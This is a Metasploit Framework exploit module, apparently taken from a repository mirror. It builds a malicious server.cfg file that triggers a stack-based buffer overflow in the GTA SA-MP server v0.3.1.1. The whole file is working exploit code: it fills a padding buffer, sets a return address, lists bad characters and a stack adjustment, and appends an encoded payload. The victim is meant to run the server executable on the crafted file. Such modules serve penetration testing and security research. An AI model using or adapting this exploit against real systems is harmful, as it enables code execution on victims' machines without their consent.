Files
metasploit-gs/modules/exploits/windows/fileformat/gta_samp.rb
T
Michael Schierl 910644400d References EDB cleanup
All other types of references use String arguments, but approximately half
of the EDB references use Fixnums. Fix this by using Strings here too.
2012-10-23 21:02:09 +02:00

82 lines
1.9 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'GTA SA-MP server.cfg Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in GTA SA-MP Server.
This buffer overflow occurs when the application attempts to open a malformed
server.cfg file. To exploit this vulnerability, an attacker must send the
victim a server.cfg file and have them run samp-server.exe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Silent_Dream', # Original discovery, MSF Module, template by mona.py
],
'Version' => '$Revision$',
'References' =>
[
[ 'EDB', '17893' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x0d\x0a\x1a",
'Space' => 392,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'DisableNops' => true,
'MaxSize' => 392,
},
'Targets' =>
[
[
'GTA SA-MP (samp-server) v0.3.1.1',
{
'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Sep 18 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
], self.class)
end
def exploit
buffer = "echo "
buffer << rand_text_alpha_upper(379)
buffer << [target.ret].pack('V')
buffer << payload.encoded
file_create(buffer)
end
end